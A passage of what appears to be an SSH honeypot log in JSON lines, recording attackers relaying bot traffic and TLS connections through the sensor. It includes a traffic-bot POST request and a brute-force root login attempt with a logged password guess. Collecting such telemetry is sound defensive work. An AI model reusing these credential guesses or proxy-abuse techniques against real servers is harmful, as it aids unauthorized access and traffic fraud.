XytDRK%2FUup1RB4ghWFWzp4Z9%2BGUnvagzDs96wTV2aObx5zyfIuA5voNMjmoz4sNUuXZSRUeL6fXrb%2FqN%2FPNP3YllkfC4nwJGTeE9hYeNNBLXjdzOGW2%2Fhjjirj9%2BSULlctOmX%2FBS%2Fg7NV8e6okN1CN13bbQJQ0JG5ZdeG6PuvEANDxEoOPzrSCo2n%2BPTmRZ%2F4iP%2FLvO8fl82R6amDnx4R%2FdkKFKZlWM2hMyN5VpRD9azJ2EDb%2FJRx3dauxR%2BQtV%2Fo1GwjdSL8fd48iw8QjOZUZlScIJGKzwTAMS%2BIIwyE3ZlFyc1ym82ZsYAyj3NoYTuANh02fNFTxlHq5TlgsqGZbGN9%2Fj0A4SkjB5BW%2F5hKEbCRN2XsZYz9sZGZGFBAjUwYCuibRErfnhBA53LoAx9Yt1x5Z%2Bx8PHVa'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QkBaL1JsUF5HWmckcU5TMw%3D%3D9Glq7og%2BJBCwoJaZqTsQKFtUKGanTUP3Tgvf0OKAm8%2FZP0k2v8aA1QPmNYEgBA6C%2BuY%2F087mPHWpnd%2FI06YMlLUAIoBGlEZ4kFhjv6SYDMgBLWxIj324alzwy70pHqkD0dIBdITx%2BQlygXp6wQsAab3Bnc7acXpdHC85y8UXRBF9%2F4VeeNE%2F%2BUFQ%2B2WrRxcpOmZ1FASwnLoIBz9gfwErLI3fAP7SB20V7wWOUeXxKYUaCVvzLQJJT2RfJro5wmqxsfzvekybyd4eSbD8snE2JlZjloKrW3Jk1SpjwF4ecl57sxHvfds72RdZSOxo67cNC9gBAyWV66HneOkLh7euQK6ySjda%2BNYitQt6I7UlUMIWTvQifcCFVdpbZkxom5fNRlaqnboWyZKxugiLZeRUsFAKG5QCEvzlH83j2QbztpWzx%2F4IzDg4cMRtG%2BcGUmCzUJFWajGnrt0OgQ91hipAw2ipNcsR6fKgYSe6lXgBtspTMwNYkD%2FzNfytR2uDfyaRN5xmfiOVdlyD20ldApRi5AkBQpqk2tgp%2B6beigYv330jyJQ%2FsEkvuf8jYlyvZwpsAsGiBu3%2F389mjiadyYUz2vjoHe2Ma0wb%2BV5cOuiy4iJi7qcCpU7B6BdTGnA3wH%2F38KarhfMaofMbrCVECaE10osTmKKnh9LXytDRK%2FUup1RB4ghWFWzp4Z9%2BGUnvagzDs96wTV2aObx5zyfIuA5voNMjmoz4sNUuXZSRUeL6fXrb%2FqN%2FPNP3YllkfC4nwJGTeE9hYeNNBLXjdzOGW2%2Fhjjirj9%2BSULlctOmX%2FBS%2Fg7NV8e6okN1CN13bbQJQ0JG5ZdeG6PuvEANDxEoOPzrSCo2n%2BPTmRZ%2F4iP%2FLvO8fl82R6amDnx4R%2FdkKFKZlWM2hMyN5VpRD9azJ2EDb%2FJRx3dauxR%2BQtV%2Fo1GwjdSL8fd48iw8QjOZUZlScIJGKzwTAMS%2BIIwyE3ZlFyc1ym82ZsYAyj3NoYTuANh02fNFTxlHq5TlgsqGZbGN9%2Fj0A4SkjB5BW%2F5hKEbCRN2XsZYz9sZGZGFBAjUwYCuibRErfnhBA53LoAx9Yt1x5Z%2Bx8PHVa'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:07.985265Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:07.988657Z","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:08.280272Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19Z\\x16>i\\x0c\\xad'5\\x12[\\xa1\\xc5`\\t\\xa6\\x9e|\\x0e\\x99\\xfeI\\xfdK$\\xd1L\\x03\\xec\\x82\\x05] \\xad\\x02J\\xad\\x07\\x0bwH\\x8ah>&]\\xbcE\\x19\\xc33\\xc4\\xc5\\x89\\xb5i\\x1d\\xf1W\\xb7\\x19\\xf8\\x11x\\xe5\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x8eg\\xfbb/^\\x9a@\\xc1[\\xa5d+k{\\xfd\\xefvK\\x1f\\x02\\xbb\\xa6w\\x8fi\\xa8\\x81\\nh{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19Z\\x16>i\\x0c\\xad'5\\x12[\\xa1\\xc5`\\t\\xa6\\x9e|\\x0e\\x99\\xfeI\\xfdK$\\xd1L\\x03\\xec\\x82\\x05] \\xad\\x02J\\xad\\x07\\x0bwH\\x8ah>&]\\xbcE\\x19\\xc33\\xc4\\xc5\\x89\\xb5i\\x1d\\xf1W\\xb7\\x19\\xf8\\x11x\\xe5\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x8eg\\xfbb/^\\x9a@\\xc1[\\xa5d+k{\\xfd\\xefvK\\x1f\\x02\\xbb\\xa6w\\x8fi\\xa8\\x81\\nh{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:08.283460Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:08.632820Z","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:08.921810Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\xf8\\xd1\\x07WG\\xed\\x869\\xa9^F\\xd1Q\\xfav6\\xfc\\xfb\\x08E\\xa9\\x01\\xd8B}p\\x10\\x8a\\x81`\\x99 XjA\\xd6\\xb7\\x1f\\xe6\\xfe8\\x9f\\x9e6R\\xff1\\xc9\\xd4\\x8d\\x99\\xfcxe\\xca|$\\x0e*\\x14g\\x0b\\x97\\x97\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xc9\\x0cV`=\\xe7\\xab\\x03\\x99\\xed\\x14.\\xf25\\x002\\xe9\\xe5\\x1cb\\xa6\\xe6\\xd6\\xa3#\\x81\\xc1\\x17\\xf9\\x1f\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\xf8\\xd1\\x07WG\\xed\\x869\\xa9^F\\xd1Q\\xfav6\\xfc\\xfb\\x08E\\xa9\\x01\\xd8B}p\\x10\\x8a\\x81`\\x99 XjA\\xd6\\xb7\\x1f\\xe6\\xfe8\\x9f\\x9e6R\\xff1\\xc9\\xd4\\x8d\\x99\\xfcxe\\xca|$\\x0e*\\x14g\\x0b\\x97\\x97\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xc9\\x0cV`=\\xe7\\xab\\x03\\x99\\xed\\x14.\\xf25\\x002\\xe9\\xe5\\x1cb\\xa6\\xe6\\xd6\\xa3#\\x81\\xc1\\x17\\xf9\\x1f\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:08.926782Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:09.398889Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53808,"dst_ip":"159.203.135.109","dst_port":22,"session":"53c980b22515","protocol":"ssh","message":"New connection: 27.71.230.31:53808 (159.203.135.109:22) [session: 53c980b22515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:10.587871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:10.606523Z","src_ip":"27.71.230.31","session":"53c980b22515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:10.925187Z","src_ip":"27.71.230.31","session":"53c980b22515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome1111@","message":"login attempt [root/Welcome1111@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:15.218740Z","src_ip":"27.71.230.31","session":"53c980b22515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:16.481451Z","src_ip":"27.71.230.31","session":"53c980b22515","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.588221Z","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.640078Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xe2z\\xcbs\\xf2\\x15\\xab~}\\x00\\x85\\x0f\\xcd\\xb9oYdCdh%\\x943p\\x8a\\x90U\\xa8\\xbd\\xdb\\x9b \\x1d\\x9a\\xb2\\xae\\xbb\\xeb\\x8c\\xa1iw\\x835\\x9b\\xfb\\x1a\\x8d>\\xber\\xefn\\xe3\\x89\\x93Z\\x00(]x\\xdcp\\x8b\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xe9\\xca\\x9f9\\xc4\\xa0\\x04\\xb26O$\\x9c\\\\\\xb5\\xcb\\x1b\\xae{e&N\\xbe\\x84\\xb4\\x0b;0\\xec\\x92\\x1c\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x